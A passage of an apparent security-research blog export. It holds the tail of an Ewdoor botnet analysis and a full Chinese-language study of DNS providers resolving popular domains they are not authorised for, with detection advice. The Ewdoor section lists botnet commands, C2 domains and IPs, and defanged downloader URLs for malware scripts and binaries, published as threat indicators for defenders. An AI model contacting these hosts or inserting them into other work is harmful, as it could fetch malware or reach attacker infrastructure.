| heartbeat |\n | 2 | port scan |\n | 4 | exec \"uname\" cmd |\n | 5 | download file via wget |\n | 6 | update, write \"/var/tmp/.ewupdate\" |\n | 7 | run cmd via bash |\n | 8 | run cmd via popen |\n | 9 | ddos attack |\n\n\n## Miscellaneous\n- The author of Ewdoor is a little bit of **a bug fixer**!\nIt took the author **only 16 minutes** to fix the aforementioned C2 bug in version 0.12.\n ```\n eef0035f971622cc5f48e164ca28a95f; gzip compressed data, was \"ramdisk.img\", from Unix, last modified: Wed Oct 27 17:45:08 2021, max compression\n \n fbbacfb20e487265c7fdb30817717f26; gzip compressed data, was \"ramdisk.img\", from Unix, last modified: Wed Oct 27 18:01:33 2021, max compression\n ```\n- From **The xor keys** to actor profile.\nThe first used key ``\"TheMagicalMysteryTourIsComingToTakeYouAway!\"``, is the from The Beatles.\nThe second used key ``\"холодно в доме папа в тужурке мама дочуркою топит в печурке!\"`` According to google translate, it is **\"It’s cold in the house, dad in a jacket, mom drowns her daughter in the stove!\"**, kinda creepy!\n\n- The note from the author\nAfter finding our honeypot IP in November, he called us out in the paylaod, as can be seen from below.\n<img src=\"__GHOST_URL__/content/images/2021/11/ew_gos2.png\" width=\"860px\" />\n\n## Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n## IoC\n### C2\n```\n185.10.68.20\nrtmxvd.iunno.se\nekgmua.zapto.org\nboatreviews.xpresit.net\na.rtmxvdio.net\na.hatbowlu3hf.ru\na.hatbowlrtx.su\n45.141.157.217\nrtmxvd.iunno.se\nhhqnyy.zapto.org\nbesthatsite.mooo.com\nb.rtmxvdio.net\nb.hatbowlu3hf.ru\nb.hatbowlrtx.su\n\nport: 53， 443，13433\n```\n\n### Downloader\n\n```\nhttp://185[.10.68.20:1234/ew-new.sh\nhttp://185[.10.68.20:1234/ew.sh\nhttp://185[.10.68.20:1234/prod/mips\nhttp://185[.10.68.20:1234/ramdisk.img.gz\nhttp://212[.193.30.209/61501e55/mips\nhttp://212[.193.30.209/859b6cfa.sh\n```\n\n### Sample MD5\n\n```\n007c28d9a0ccfb10c478689fd63e0de0\n128331f1c808ee385375dd54d0609ebc\n46c18a8e93a863053952985a39bd7d63\n4f0841ac08a27d8b3d56cbd03fb68ad8\n5c4390e1668856cc7f72499a72f935d6\n62bc8899a353921ac685cabb63de97b3\n67ccb3cf1f4f57f5a0ded4d20bc91d73\n7d4937e27d0fd75dd6159ffe53ebb505\n84b3df62ed45bea57d0dd85e80f0dc07\n8794d23cad330de803294a2a1adb128b\nabaed830fe09e92ee434236d3db01e08\nb81ade4f18c2df58adef301f401e8a02\nca6eb890853434ab9a0f8cdbab0965ea\nddf96434bdb7b449ddcc925e6a5b3095\neef0035f971622cc5f48e164ca28a95f\nfbbacfb20e487265c7fdb30817717f26\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 61a440e93819e500076364ae |
post | null | 2021-11-29T04:32:20.000Z | 63873b9a8b1c1e0007f52ff7 | analysis-of-popular-domain-names-by-non-authorized-resolvers | 0 | 2021-12-06T04:35:13.000Z | public | published | null | 2021-12-06T04:35:13.000Z | 解析服务提供商对非授权域名解析情况的评估 | <!--kg-card-begin: markdown--><h2 id="">概要</h2>
<p>在<a href="__GHOST_URL__/specter-domain-whitelist-abuse/">之前的文章</a>中，我们披露了Specter僵尸网络序利用api[.]github.com等白域名提供C2服务，以此来逃避基于签名和威胁情报匹配的安全产品的检测。其具体原理经过分析之后，发现其利用了某些域名注册/托管商(cloudns)的权威DNS服务器在解析非其客户域名方面的漏洞。<br>
我们对此现象，即域名注册/托管商，公有云提供商等能够提供域名注册和解析服务的供应商（以下统称为解析服务提供商）对非自己服务域名的DNS请求是否能够返回正确应答的情况，进行了系统的测量和评估。</p>
<p>这篇文章对此现象进行了分析。</p>
<h2 id="">数据选择及评估方法</h2>
<h3 id="">被测域名</h3>
<p>被测试域名：Alexa top500。选择他们作为被测域是因为：</p>
<ol>
<li>这些域名都会使用自己专有的DNS服务器，他们并不会使用外部的解析服务提供商提供的解析服务。所以如果这些域名可以被外部的解析服务提供商的NS服务器解析，那么大概率是非授权的。</li>
<li>这些域名本身也因为其庞大而知名的业务，会被加入到各种白名单中。一些出于探测目的的人也更容易随手添加一些知名网站，而干坏事的人微了躲避检测黑名单检测，也愿意使用这些白域名。</li>
</ol>
<blockquote>
<p>其实使用DNS流量对域名进行排名更能精确的反应域名的流行度。360netlab的DNSMon系统可以按照域名在DNS流量中出现的时间跨度，频次，解析稳定性等多维度来计算域名在大网的流行程度，并按天更新排名。我们没有使用它作为被测域名也是出于大众对域名排名的认知。<br>
其实如果要躲避的检测话，白名单域名中的CDN业务或者其他类似的后台功能自动出发的流行域名也是非常合适的选择。</p>
</blockquote>
<h3 id="">测试服务器</h3>
<p>测试的NS服务器：即解析提供商。从360netlab的passiveDNS库中提取，在最近半年活跃且为超过500个独立的二级域名提供解析服务的NS服务器，<strong>18469</strong>个。</p>
<h3 id="">测试方法</h3>
<p>将被测域名逐个通过测试服务器尝试解析（UDP/53），如果测试服务器的DNS返回结果为NOERROR（无论是否有真实的RDATA的返回），则认为被测服务器提供了对被测域名的解析。</p>
<h3 id="">可能存在的误差</h3>
<p>主要来自于数据误差，产生的原因是链路劫持。<br>
为了覆盖最广泛的情况，我们采用udp/53的方式来收集测试数据。尽管我们已经采用了最大的努力来排除劫持的可能，考虑到较为复杂的链路环境，仍可能有少量的数据存在DNS解析结果被劫持的可能。<br>
因为我们已经排除了最常见的劫持情况，所以即使可能有少量的劫持并不影响整体的结论。</p>
<h2 id="">评估结果</h2>
<h3 id="">整体的解析情况</h3>
<p>在18469个NS服务器中，能解析到地址的有18154个整体占比98.29%。在能解析到地址并且有有响应的服务器有17792个，占总数的96.33%。尽管筛选的是近半年有解析记录的NS服务器，在仍有3.67%的服务器在做测试的时候处在不活跃的状态，由此可以见NS服务提供商的基础设施处在不停的变动之中。<br>
下文以这17792个NS的数据作为分析基础。</p>
<ol>
<li>在解析数量方面，17792个NS服务器的响应率为70.12% ~（6237860/(17792*500)），也就是说30%的请求在服务器活跃的情况下丢失了，一般都是服务器超时导致的。</li>
<li>在所有的响应中，Rcode为Refuse的比例为75，NOERROR的比例大约为22%。具体分布如下图<br>
<img src="__GHOST_URL__/content/images/2021/12/rcode_distrubtion.png" width="860px" /></li>
<li>在NS服务器方面，17792个NS服务器中，返回NOERROR记录的NS服务器有9544个，占比约为53.64%。</li>
<li>在NS服务器的二级域方面，17792个NS对应4149个二级域，其中有返回NOERROR记录的二级域有1687个，约占总数的40.66%左右。<em>也就是说在我们选定的测试服务器中大概有40%的NS服务器会返回非自己客户的域名解析</em>。</li>
</ol>
<p>根据经验，如果这种解析记录是由用户个人添加的话，猜测排名越高的域名被添加和解析的可能性越大。所以我们对每一个返回NOERROR的被测服务器都统计了其Alexa Top100的解析占比以及全部的被测域名的解析（即Alexa Top500）占比。我们按照解析服务器对Alexa Top100域名的解析成功率进行排序。其统计曲线如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/12/top100_vs_top500.png" width = "860px" /></p>
<p>从图中可以明显的看到这9544个服务器可以分为4组，即</p>
<ul>
<li>排名在1～2250的NS服务器对top100和top500的域名解析比例都在60%以上</li>
<li>排名在2250～3300的NS服务器对被测域名的解析离开快速的从60%下降到不足20%</li>
<li>排名在3300～6000的NS服务器解析比例从20%缓慢的下降到2%左右</li>
<li>排名在6000之后的NS服务器则偶有少量的解析，比例基本在1%左右。</li>
</ul>
<p>另外从图中也可以看出来，被测域名处在Alexa Top100和Top500的比例没有显著的差异。这可能的原因是Alexa排名靠前的域名无论是100还是500对用户的感知差异不大。</p>
<h3 id="">解析结果的分析</h3>
<p>另外一个对这个数据分析的角度是从其解析结果来看。这些NS服务器到底将这些流行域名解析到了哪里。<br>
经过统计，在返回的结果中，大约有20.92%的数据在二级域上没有配置有效的DNS记录，但是返回为NOERROR，此种情况多数是针对被探测域名配置了对应的NS服务器，但是没有配置其他类型的记录所致。</p>
<h4 id="ip">解析出的IP的情况</h4>
<p>在配置了解析记录的数据中，解析到的IP地理位置主要集中在美国，接下来是中国和俄罗斯。Top10的分布如下：</p>
<pre><code> 4378 United_States
579 China
395 Russian_Federation
350 United_Kingdom
216 CLOUDFLARE.COM
213 Netherlands
212 Germany
209 Japan
195 Republic_of_Korea
123 Singapore
</code></pre>
<p>值的一提的是，在众多的解析记录中，有大约3%做有的解析结果为保留地址或者私有地址，在众多的此类地址中，最让人喜爱的仍然是<em>127.0.0.1</em>。Top10的地址如下：</p>
<pre><code> 33093 127.0.0.1
856 10.10.34.35
425 192.168.3.3
154 10.10.10.10
69 10.10.34.36
52 10.152.68.117
45 10.10.34.34
42 192.168.1.1
27 127.0.0.11
22 0.0.0.0
</code></pre>
<h4 id="">记录添加人是谁？</h4>
<p>如果解析服务商可以对目标域名提供解析，那么添加这种解析记录的人是谁？<br>
从探测的数据中，我们发现大量的解析服务提供商对不同被测域名解析的结果是相同的。我们利用这个特点，统计了NS服务器和其解析结果rdata相同的情况下，能够映射到不同的域名的数量，如果此数量超过20，则认为是解析商自己添加的。<br>
以此为标准，我们发现 2944 个解析器，占总解析器的16.55%。<br>
如果将接这些解析器聚合到二级域，那么占总二级域的7%左右。</p>
<blockquote>
<p>注：此处的添加人的角色判定过程是一个猜测。现在有很多注册商允许用户批量添加域名，那么在批量添加的情况下，上面计算过程使用的阈值就显得比较低了，猜测为注册商自己添加的结论也就不成立了。<br>
我们此处假设整个添加过程仍然是个人测试性为主导，并没有使用解析商提供的批量功能。</p>
</blockquote>
<h4 id="">解析结果的错误率</h4>
<p>解析服务商对这些域名的解析可能是非授权的，不过也有可能存在解析结果和权威解析服务器返回相同结果的可能。我们对非授权的解析服务商解析的结果与正确的解析结果做了对比，发现80%的域名（即400个）的解析结果错误率在90%以上，<strong>最好情况的域名错误解析率也高达68%</strong>，这个比例高的有点让人吃惊。<br>
不同域名解析错误率曲线如下：<br>
<img src="__GHOST_URL__/content/images/2021/12/resolve_wrong_ratio.jpg" width = "860px" /></p>
<h3 id="">域名角度</h3>
<p>top500域名在多少个NS上有解析？占比分布怎么样<br>
500个域名中，最少被解析的域名为express.dhl，有1483个NS服务器可以解析它，最多的则为yts.mx，有3114个NS服务器可以解析它。不过从他们解析的结果来看，不同的域名解析的rdata个数比较稳定，大多都在800左右。<strong>可见对流行域名来说，被添加到各种非授权的解析商是非常普遍但是让人非常吃惊的事情</strong>。具体分布如下图：<br>
<img src="__GHOST_URL__/content/images/2021/12/resovler_num_and_rdata_num.jpg" width = "860px" /></p>
<h3 id="">案例分析</h3>
<p>为什么这么多流行域名会加入被非授权的NS服务器解析。从整体上无法深入细节来查看，我们以yts.mx 和mozilla.org为例来看看具体的情况。</p>
<h4 id="ytsmx">yts.mx</h4>
<p>选择yts.mx分析是因为它是我们本次测试中，解析NS服务器最多的一个域名。<br>
yts.mx是通过p2p协议工具使用BitTorrents等工具下载电影的网站，在我们使用的Alexa数据中排名462。通过passiveDNS.cn来查看，其从2020年4月开始，一直使用cloudflare作为其解析商。<br>
<img src = "/content/images/2021/12/yts.mx.jpg" width = "860px" /></p>
<p>因为本次测试中，因为包含了cloudflare的NS服务器，而yts.mx的官方解析商也是cloudlfare，在排除掉cloudflare之后，仍有2886个非授权解析服务器可以解析yts.mx，这个数量仍然可以排在我们本次测试的TOP5。</p>
<p>在2886个非授权解析服务器中，仅有73个可以解析到正确的结果，<strong>错误解析率高达97.47%</strong>，这个比例是让人吃惊的。<br>
从非授权解析服务器来看其涵盖的二级域名有383个，主要是域名注册商。头部的10个解析器的二级域名如下：</p>
<pre><code> 846 hostgator.com
520 gandi.net
369 register.com
83 orderbox-dns.com
70 worldnic.com
51 dan.hosting
47 hostgator.mx
33 ztomy.com
30 cloudns.net
16 zoneedit.com
</code></pre>
<p>这个列表中大多都是提供域名注册，web服务托管，主机服务等IT基础服务提供商。不出所料我们上一篇文章中提到的cloudns在列。</p>
<p>从解析错误的IP来看，2886个非授权解析服务器，共解析到750个IP地址，聚合到了149个网段。其中top10的网段及这些网段的用途分析如下：<br>
<img src = "/content/images/2021/12/yts.mx.wrong_rdata_detail.png" width= "860px"/></p>
<h4 id="mozillaorg">mozilla.org</h4>
<p>选择mozilla.org是因为mozilla.org是火狐浏览器的官方网站，在我们使用的Alexa 排名182，为大众所熟知。mozilla.org的权威NS服务器通过passiveDNS.cn 来查看，其从2014年开始就一直使用akamai作为其解析商没有变过。<br>
<img src="__GHOST_URL__/content/images/2021/12/mozilla_auth_ns.jpg" width = "860px" /></p>
<p>其解析结果随着时间有变动，但是2020年11月之前使用自己的服务，之后则非常稳定的使用amazon的服务。<br>
<img src="__GHOST_URL__/content/images/2021/12/mozilla_auth_a.png" width = "860px" /></p>
<p>但是在实际网络中，能够解析mozilla.org的NS服务器多达2624个，解析的IP地址有735个。<br>
头部的10个解析器的二级域名如下：</p>
<pre><code> 831 hostgator.com
633 cloudflare.com
366 register.com
79 orderbox-dns.com
75 akam.net
50 hostgator.mx
45 dan.hosting
33 cloudns.net
14 hostgator.co
13 zoneedit.com
</code></pre>
<p>和yts.mx类似，这个列表中大多都是提供域名注册，web服务托管，主机服务等IT基础服务提供商。同样不出所料我们上一篇文章中提到的cloudns也在列。</p>
<p>另一个值得关注的点是 akam.net 自身也有75个服务器提供对mozilla.org的解析，不过所有的服务器解析结果是相同且正确的。也就是说akamai提供的权威解析器可以交叉解析其托管域名。</p>
<p>除此之外，cloudflare的解析看起来<em>可能</em>也是对的。为什么是可能？因为我们发现从passiveDNS数据来看从2016年4月份开始，一直到2021年11月份，www.mozilla.org 使用了cloudflare的CDN服务，其CNAME记录是cloudflare.net，从2021年11月开始逐步切换到了amazon。不过 mozilla.org的ns服务器从未使用过cloudlfare的解析器。<br>
<img src="__GHOST_URL__/content/images/2021/12/www.mozilla.org_rrset.png" width = "860px" /></p>
<p>从解析结果来看，除掉akam.net以及cloudflare.com之外，仅有62个解析器可以正确的将解析结果返回。也就是说<strong>70%的非授权解析器解析结果是错误的，这个比例也同样让人吃惊</strong>。</p>
<p>在解析的错误IP方面，730个错误IP（有5个IP是正确的解析结果），聚合到了153个CIDR/24网段，其中top10网段占总错误解析量的75.9%。我们详细分析了错误解析的Top10的CIDR/24网段，发现主要是域名注册/解析商注册，最终解析目的IP是用于域名停靠、重定向以及域名出售等目的，基本都是域名注册商的赚钱的基本手段。具体结果见下图：<br>
<img src="__GHOST_URL__/content/images/2021/12/mozilla_detail_analysis.jpg" width = "860px" /></p>
<p>从以上两个案例来看，目前提供这种非授权解析服务的主要是域名注册/解析商注册，最终解析目的IP是用于域名停靠、重定向以及域名出售等目的，基本都是域名注册商的赚钱的基本手段。</p>
<h2 id="">安全检测</h2>
<p>首先这种现象为什么没有引起关注？需要说明的是尽管它广泛存在，但是流量整体比较少，整体流量少是因为入口流量少，大多数的DNS流量走的公共DNS服务器，所以除非在特定网络环境下，否则此种现象很难被注意到。</p>
<p>其次解析服务提供商对非授权域名的解析在安全方面带来了不少的挑战。新的DNS安全检测角度，需要扩展，既要看域名，也要看域名使用的DNS服务器，同时还要看解析结果是否和真实的解析结果一致。</p>
<h3 id="ns">NS服务器角度</h3>
<p>在传统的检测方法中，一般对DNS服务器一般会忽略。在APT组织海莲花的攻击行为中，就曾经出现过特定域名只有特定的NS服务器才可以解析的情况。<br>
因此小众的DNS是很值得关注的。这里说的小众就是指其请求客户端少，请求域名数量少。尤其是在网络等级较高的环境中，客户端直接和小众的DNS服务器通信的情况就值得做进一步的分析了。</p>
<h3 id="">流量侧角度</h3>
<ol>
<li>从流量中筛选出小众的DNS服务器</li>
<li>筛选出网络内DNS服务器与客户端</li>
<li>针对客户端与小众DNS服务器的流量进行检查</li>
<li>检查结果和大众解析结果进行比对</li>
<li>如果存在差异，需要结合其他维度的数据做进一步分析</li>
</ol>
<h2 id="">结论</h2>
<ol>
<li>组织内网要规范使用DNS服务器，对于组织内的非递归服务器之外的其他DNS请求的目标地址要做严格的检查和筛选</li>
<li>域名解析提供商广泛的解析非自己客户的域名</li>
<li>提供这种业务的主力是域名注册商，目的（猜测）是为了拉拢客户或者提升流量</li>
<li>业界没有统一的标准来规范此类解析行为</li>
<li>已经出现恶意程序使用这种方式逃避检测</li>
<li>对基于签名和威胁情报简单匹配的安全产品存在较大的挑战</li>
</ol>
<!--kg-card-end: markdown--><p></p><p></p> | 概要
在之前的文章中，我们披露了Specter僵尸网络序利用api[.]github.com等白域名提供C2服务，以此来逃避基于签名和威胁情报匹配的安全产品的检测。其具体原理经过分析之后，发现其利用了某些域名注册/托管商(cloudns)的权威DNS服务器在解析非其客户域名方面的漏洞。
我们对此现象，即域名注册/托管商，公有云提供商等能够提供域名注册和解析服务的供应商（以下统称为解析服务提供商）对非自己服务域名的DNS请求是否能够返回正确应答的情况，进行了系统的测量和评估。
这篇文章对此现象进行了分析。
数据选择及评估方法
被测域名
被测试域名：Alexa top500。选择他们作为被测域是因为：
1. 这些域名都会使用自己专有的DNS服务器，他们并不会使用外部的解析服务提供商提供的解析服务。所以如果这些域名可以被外部的解析服务提供商的NS服务器解析，那么大概率是非授权的。
2. 这些域名本身也因为其庞大而知名的业务，会被加入到各种白名单中。一些出于探测目的的人也更容易随手添加一些知名网站，而干坏事的人微了躲避检测黑名单检测，也愿意使用这些白域名。
其实使用DNS流量对域名进行排名更能精确的反应域名的流行度。360netlab的DNSMon系统可以按照域名在DNS流量中出现的时间跨度，频次，解析稳定性等多维度来计算域名在大网的流行程度，并按天更新排名。我们没有使用它作为被测域名也是出于大众对域名排名的认知。
其实如果要躲避的检测话，白名单域名中的CDN业务或者其他类似的后台功能自动出发的流行域名也是非常合适的选择。
测试服务器
测试的NS服务器：即解析提供商。从360netlab的passiveDNS库中提取，在最近半年活跃且为超过500个独立的二级域名提供解析服务的NS服务器，18469个。
测试方法
将被测域名逐个通过测试服务器尝试解析（UDP/53），如果测试服务器的DNS返回结果为NOERROR（无论是否有真实的RDATA的返回），则认为被测服务器提供了对被测域名的解析。
可能存在的误差
主要来自于数据误差，产生的原因是链路劫持。
为了覆盖最广泛的情况，我们采用udp/53的方式来收集测试数据。尽管我们已经采用了最大的努力来排除劫持的可能，考虑到较为复杂的链路环境，仍可能有少量的数据存在DNS解析结果被劫持的可能。
因为我们已经排除了最常见的劫持情况，所以即使可能有少量的劫持并不影响整体的结论。
评估结果
整体的解析情况
在18469个NS服务器中，能解析到地址的有18154个整体占比98.29%。在能解析到地址并且有有响应的服务器有17792个，占总数的96.33%。尽管筛选的是近半年有解析记录的NS服务器，在仍有3.67%的服务器在做测试的时候处在不活跃的状态，由此可以见NS服务提供商的基础设施处在不停的变动之中。
下文以这17792个NS的数据作为分析基础。
1. 在解析数量方面，17792个NS服务器的响应率为70.12% ~（6237860/(17792*500)），也就是说30%的请求在服务器活跃的情况下丢失了，一般都是服务器超时导致的。
2. 在所有的响应中，Rcode为Refuse的比例为75，NOERROR的比例大约为22%。具体分布如下图
3. 在NS服务器方面，17792个NS服务器中，返回NOERROR记录的NS服务器有9544个，占比约为53.64%。
4. 在NS服务器的二级域方面，17792个NS对应4149个二级域，其中有返回NOERROR记录的二级域有1687个，约占总数的40.66%左右。也就是说在我们选定的测试服务器中大概有40%的NS服务器会返回非自己客户的域名解析。
根据经验，如果这种解析记录是由用户个人添加的话，猜测排名越高的域名被添加和解析的可能性越大。所以我们对每一个返回NOERROR的被测服务器都统计了其Alexa Top100的解析占比以及全部的被测域名的解析（即Alexa Top500）占比。我们按照解析服务器对Alexa Top100域名的解析成功率进行排序。其统计曲线如下所示：
从图中可以明显的看到这9544个服务器可以分为4组，即
* 排名在1～2250的NS服务器对top100和top500的域名解析比例都在60%以上
* 排名在2250～3300的NS服务器对被测域名的解析离开快速的从60%下降到不足20%
* 排名在3300～6000的NS服务器解析比例从20%缓慢的下降到2%左右
* 排名在6000之后的NS服务器则偶有少量的解析，比例基本在1%左右。
另外从图中也可以看出来，被测域名处在Alexa Top100和Top500的比例没有显著的差异。这可能的原因是Alexa排名靠前的域名无论是100还是500对用户的感知差异不大。
解析结果的分析
另外一个对这个数据分析的角度是从其解析结果来看。这些NS服务器到底将这些流行域名解析到了哪里。
经过统计，在返回的结果中，大约有20.92%的数据在二级域上没有配置有效的DNS记录，但是返回为NOERROR，此种情况多数是针对被探测域名配置了对应的NS服务器，但是没有配置其他类型的记录所致。
解析出的IP的情况
在配置了解析记录的数据中，解析到的IP地理位置主要集中在美国，接下来是中国和俄罗斯。Top10的分布如下：
4378 United_States
579 China
395 Russian_Federation
350 United_Kingdom
216 CLOUDFLARE.COM
213 Netherlands
212 Germany
209 Japan
195 Republic_of_Korea
123 Singapore
值的一提的是，在众多的解析记录中，有大约3%做有的解析结果为保留地址或者私有地址，在众多的此类地址中，最让人喜爱的仍然是127.0.0.1。Top10的地址如下：
33093 127.0.0.1
856 10.10.34.35
425 192.168.3.3
154 10.10.10.10
69 10.10.34.36
52 10.152.68.117
45 10.10.34.34
42 192.168.1.1
27 127.0.0.11
22 0.0.0.0
记录添加人是谁？
如果解析服务商可以对目标域名提供解析，那么添加这种解析记录的人是谁？
从探测的数据中，我们发现大量的解析服务提供商对不同被测域名解析的结果是相同的。我们利用这个特点，统计了NS服务器和其解析结果rdata相同的情况下，能够映射到不同的域名的数量，如果此数量超过20，则认为是解析商自己添加的。
以此为标准，我们发现 2944 个解析器，占总解析器的16.55%。
如果将接这些解析器聚合到二级域，那么占总二级域的7%左右。
注：此处的添加人的角色判定过程是一个猜测。现在有很多注册商允许用户批量添加域名，那么在批量添加的情况下，上面计算过程使用的阈值就显得比较低了，猜测为注册商自己添加的结论也就不成立了。
我们此处假设整个添加过程仍然是个人测试性为主导，并没有使用解析商提供的批量功能。
解析结果的错误率
解析服务商对这些域名的解析可能是非授权的，不过也有可能存在解析结果和权威解析服务器返回相同结果的可能。我们对非授权的解析服务商解析的结果与正确的解析结果做了对比，发现80%的域名（即400个）的解析结果错误率在90%以上，最好情况的域名错误解析率也高达68%，这个比例高的有点让人吃惊。
不同域名解析错误率曲线如下：
域名角度
top500域名在多少个NS上有解析？占比分布怎么样
500个域名中，最少被解析的域名为express.dhl，有1483个NS服务器可以解析它，最多的则为yts.mx，有3114个NS服务器可以解析它。不过从他们解析的结果来看，不同的域名解析的rdata个数比较稳定，大多都在800左右。可见对流行域名来说，被添加到各种非授权的解析商是非常普遍但是让人非常吃惊的事情。具体分布如下图：
案例分析
为什么这么多流行域名会加入被非授权的NS服务器解析。从整体上无法深入细节来查看，我们以yts.mx 和mozilla.org为例来看看具体的情况。
yts.mx
选择yts.mx分析是因为它是我们本次测试中，解析NS服务器最多的一个域名。
yts.mx是通过p2p协议工具使用BitTorrents等工具下载电影的网站，在我们使用的Alexa数据中排名462。通过passiveDNS.cn来查看，其从2020年4月开始，一直使用cloudflare作为其解析商。
因为本次测试中，因为包含了cloudflare的NS服务器，而yts.mx的官方解析商也是cloudlfare，在排除掉cloudflare之后，仍有2886个非授权解析服务器可以解析yts.mx，这个数量仍然可以排在我们本次测试的TOP5。
在2886个非授权解析服务器中，仅有73个可以解析到正确的结果，错误解析率高达97.47%，这个比例是让人吃惊的。
从非授权解析服务器来看其涵盖的二级域名有383个，主要是域名注册商。头部的10个解析器的二级域名如下：
846 hostgator.com
520 gandi.net
369 register.com
83 orderbox-dns.com
70 worldnic.com
51 dan.hosting
47 hostgator.mx
33 ztomy.com
30 cloudns.net
16 zoneedit.com
这个列表中大多都是提供域名注册，web服务托管，主机服务等IT基础服务提供商。不出所料我们上一篇文章中提到的cloudns在列。
从解析错误的IP来看，2886个非授权解析服务器，共解析到750个IP地址，聚合到了149个网段。其中top10的网段及这些网段的用途分析如下：
mozilla.org
选择mozilla.org是因为mozilla.org是火狐浏览器的官方网站，在我们使用的Alexa 排名182，为大众所熟知。mozilla.org的权威NS服务器通过passiveDNS.cn 来查看，其从2014年开始就一直使用akamai作为其解析商没有变过。
其解析结果随着时间有变动，但是2020年11月之前使用自己的服务，之后则非常稳定的使用amazon的服务。
但是在实际网络中，能够解析mozilla.org的NS服务器多达2624个，解析的IP地址有735个。
头部的10个解析器的二级域名如下：
831 hostgator.com
633 cloudflare.com
366 register.com
79 orderbox-dns.com
75 akam.net
50 hostgator.mx
45 dan.hosting
33 cloudns.net
14 hostgator.co
13 zoneedit.com
和yts.mx类似，这个列表中大多都是提供域名注册，web服务托管，主机服务等IT基础服务提供商。同样不出所料我们上一篇文章中提到的cloudns也在列。
另一个值得关注的点是 akam.net 自身也有75个服务器提供对mozilla.org的解析，不过所有的服务器解析结果是相同且正确的。也就是说akamai提供的权威解析器可以交叉解析其托管域名。
除此之外，cloudflare的解析看起来可能也是对的。为什么是可能？因为我们发现从passiveDNS数据来看从2016年4月份开始，一直到2021年11月份，www.mozilla.org 使用了cloudflare的CDN服务，其CNAME记录是cloudflare.net，从2021年11月开始逐步切换到了amazon。不过 mozilla.org的ns服务器从未使用过cloudlfare的解析器。
从解析结果来看，除掉akam.net以及cloudflare.com之外，仅有62个解析器可以正确的将解析结果返回。也就是说70%的非授权解析器解析结果是错误的，这个比例也同样让人吃惊。
在解析的错误IP方面，730个错误IP（有5个IP是正确的解析结果），聚合到了153个CIDR/24网段，其中top10网段占总错误解析量的75.9%。我们详细分析了错误解析的Top10的CIDR/24网段，发现主要是域名注册/解析商注册，最终解析目的IP是用于域名停靠、重定向以及域名出售等目的，基本都是域名注册商的赚钱的基本手段。具体结果见下图：
从以上两个案例来看，目前提供这种非授权解析服务的主要是域名注册/解析商注册，最终解析目的IP是用于域名停靠、重定向以及域名出售等目的，基本都是域名注册商的赚钱的基本手段。
安全检测
首先这种现象为什么没有引起关注？需要说明的是尽管它广泛存在，但是流量整体比较少，整体流量少是因为入口流量少，大多数的DNS流量走的公共DNS服务器，所以除非在特定网络环境下，否则此种现象很难被注意到。
其次解析服务提供商对非授权域名的解析在安全方面带来了不少的挑战。新的DNS安全检测角度，需要扩展，既要看域名，也要看域名使用的DNS服务器，同时还要看解析结果是否和真实的解析结果一致。
NS服务器角度
在传统的检测方法中，一般对DNS服务器一般会忽略。在APT组织海莲花的攻击行为中，就曾经出现过特定域名只有特定的NS服务器才可以解析的情况。
因此小众的DNS是很值得关注的。这里说的小众就是指其请求客户端少，请求域名数量少。尤其是在网络等级较高的环境中，客户端直接和小众的DNS服务器通信的情况就值得做进一步的分析了。
流量侧角度
1. 从流量中筛选出小众的DNS服务器
2. 筛选出网络内DNS服务器与客户端
3. 针对客户端与小众DNS服务器的流量进行检查
4. 检查结果和大众解析结果进行比对
5. 如果存在差异，需要结合其他维度的数据做进一步分析
结论
1. 组织内网要规范使用DNS服务器，对于组织内的非递归服务器之外的其他DNS请求的目标地址要做严格的检查和筛选
2. 域名解析提供商广泛的解析非自己客户的域名
3. 提供这种业务的主力是域名注册商，目的（猜测）是为了拉拢客户或者提升流量
4. 业界没有统一的标准来规范此类解析行为
5. 已经出现恶意程序使用这种方式逃避检测
6. 对基于签名和威胁情报简单匹配的安全产品存在较大的挑战
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 概要\n在[之前的文章](__GHOST_URL__/specter-domain-whitelist-abuse/)中，我们披露了Specter僵尸网络序利用api[.]github.com等白域名提供C2服务，以此来逃避基于签名和威胁情报匹配的安全产品的检测。其具体原理经过分析之后，发现其利用了某些域名注册/托管商(cloudns)的权威DNS服务器在解析非其客户域名方面的漏洞。\n我们对此现象，即域名注册/托管商，公有云提供商等能够提供域名注册和解析服务的供应商（以下统称为解析服务提供商）对非自己服务域名的DNS请求是否能够返回正确应答的情况，进行了系统的测量和评估。\n\n这篇文章对此现象进行了分析。\n\n## 数据选择及评估方法\n### 被测域名\n被测试域名：Alexa top500。选择他们作为被测域是因为：\n1. 这些域名都会使用自己专有的DNS服务器，他们并不会使用外部的解析服务提供商提供的解析服务。所以如果这些域名可以被外部的解析服务提供商的NS服务器解析，那么大概率是非授权的。\n2. 这些域名本身也因为其庞大而知名的业务，会被加入到各种白名单中。一些出于探测目的的人也更容易随手添加一些知名网站，而干坏事的人微了躲避检测黑名单检测，也愿意使用这些白域名。\n\n\n> 其实使用DNS流量对域名进行排名更能精确的反应域名的流行度。360netlab的DNSMon系统可以按照域名在DNS流量中出现的时间跨度，频次，解析稳定性等多维度来计算域名在大网的流行程度，并按天更新排名。我们没有使用它作为被测域名也是出于大众对域名排名的认知。\n> 其实如果要躲避的检测话，白名单域名中的CDN业务或者其他类似的后台功能自动出发的流行域名也是非常合适的选择。\n\n\n### 测试服务器\n测试的NS服务器：即解析提供商。从360netlab的passiveDNS库中提取，在最近半年活跃且为超过500个独立的二级域名提供解析服务的NS服务器，**18469**个。\n\n### 测试方法\n将被测域名逐个通过测试服务器尝试解析（UDP/53），如果测试服务器的DNS返回结果为NOERROR（无论是否有真实的RDATA的返回），则认为被测服务器提供了对被测域名的解析。\n\n### 可能存在的误差\n主要来自于数据误差，产生的原因是链路劫持。\n为了覆盖最广泛的情况，我们采用udp/53的方式来收集测试数据。尽管我们已经采用了最大的努力来排除劫持的可能，考虑到较为复杂的链路环境，仍可能有少量的数据存在DNS解析结果被劫持的可能。\n因为我们已经排除了最常见的劫持情况，所以即使可能有少量的劫持并不影响整体的结论。\n\n\n## 评估结果\n\n### 整体的解析情况\n在18469个NS服务器中，能解析到地址的有18154个整体占比98.29%。在能解析到地址并且有有响应的服务器有17792个，占总数的96.33%。尽管筛选的是近半年有解析记录的NS服务器，在仍有3.67%的服务器在做测试的时候处在不活跃的状态，由此可以见NS服务提供商的基础设施处在不停的变动之中。\n下文以这17792个NS的数据作为分析基础。\n\n1. 